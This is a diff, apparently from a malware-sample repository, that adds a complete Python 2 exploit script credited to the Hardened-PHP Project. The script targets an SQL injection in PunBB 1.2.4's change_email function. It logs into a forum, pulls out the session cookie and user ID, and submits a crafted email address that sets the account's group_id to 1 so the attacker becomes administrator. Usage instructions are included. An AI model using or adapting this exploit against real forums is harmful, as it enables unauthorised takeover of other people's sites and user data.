Rename HackToolPython.PunBB.a.b.d to HackTool.Python.PunBB.a.b.d

Python/HackTool.Python.PunBB.a.b.d

@@ -0,0 +1,130 @@
+#!/usr/bin/python
+#######################################################################
+#  _  _                _                     _       ___  _  _  ___ 
+# | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \
+# | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/
+# |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|  
+#                                                        
+#######################################################################
+#         Proof of concept code from the Hardened-PHP Project 
+#######################################################################
+#
+#                           -= PunBB 1.2.4 =-
+#                   change_email SQL injection exploit
+#
+#  user-supplied data within the database is still user-supplied data
+#
+#######################################################################
+
+import urllib
+import getopt
+import sys
+import string
+
+__argv__ = sys.argv
+
+def banner():
+    print "PunBB 1.2.4 - change_email SQL injection exploit"
+    print "Copyright (C) 2005 Hardened-PHP Project\n"
+
+def usage():
+    banner()
+    print "Usage:\n"
+    print "   $ ./punbb_change_email.py [options]\n"
+    print "        -h http_url   url of the punBB forum to exploit"
+    print "                      f.e. http://www.forum.net/punBB/"
+    print "        -u username   punBB forum useraccount"
+    print "        -p password   punBB forum userpassword"
+    print "        -e email      email address where the admin leve activation email is sent"
+    print "        -d domain     catch all domain to catch \"some-SQL-Query\"@domain emails"
+    print ""
+    sys.exit(-1)
+
+def main():
+    try:
+        opts, args = getopt.getopt(sys.argv[1:], "h:u:p:e:d:")
+    except getopt.GetoptError:
+        usage()
+
+    if len(__argv__) < 10:
+        usage()
+        
+    username = None
+    password = None
+    email = None
+    domain = None
+    host = None
+    for o, arg in opts:
+        if o == "-h":
+	    host = arg
+        if o == "-u":
+            username = arg
+        if o == "-p":
+            password = arg
+        if o == "-e":
+            email = arg
+        if o == "-d":
+            domain = arg
+    
+    # Printout banner
+    banner()
+    
+    # Check if everything we need is there
+    if host == None:
+        print "[-] need a host to connect to"
+	sys.exit(-1)
+    if username == None:
+        print "[-] username needed to continue"
+        sys.exit(-1)
+    if password == None:
+        print "[-] password needed to continue"
+        sys.exit(-1)
+    if email == None:
+        print "[-] email address needed to continue"
+        sys.exit(-1)
+    if domain == None:
+        print "[-] catch all domain needed to continue"
+	sys.exit(-1)
+	
+    # Retrive cookie
+    params = {
+        'req_username' : username,
+	'req_password' : password,
+	'form_sent' : 1
+    }
+    
+    wclient = urllib.URLopener()
+    
+    print "[+] Connecting to retrieve cookie"
+    
+    req = wclient.open(host + "/login.php?action=in", urllib.urlencode(params))
+    info = req.info()
+    if 'set-cookie' not in info:
+        print "[-] Unable to retrieve cookie... something is wrong"
+        sys.exit(-3)
+    cookie = info['set-cookie']
+    cookie = cookie[:string.find(cookie, ';')]
+    print "[+] Cookie found - extracting user_id"
+    user_id = cookie[string.find(cookie, "%3A%22")+6:string.find(cookie, "%22%3B")]
+    print "[+] User-ID: %d" % (int(user_id))
+    wclient.addheader('Cookie', cookie);
+    
+    email = '"' + email[:string.find(email, '@')] + '"@' + email[string.find(email, '@')+1:] + ',"\','
+    append = 'group_id=\'1'
+    email = email + ( ((50-len(append))-len(email)) * ' ' ) + append + '"@' + domain
+    
+    params = {
+        'req_new_email' : email,
+	'form_sent' : 1
+    }
+
+    print "[+] Connecting to request change email"        
+    req = wclient.open(host + "profile.php?action=change_email&id=" + user_id, urllib.urlencode(params))        
+
+    print "[+] Done... Now wait for the email. Log into punBB, go to the link in the email and become admin"
+
+if __name__ == "__main__":
+    main()
+
+
+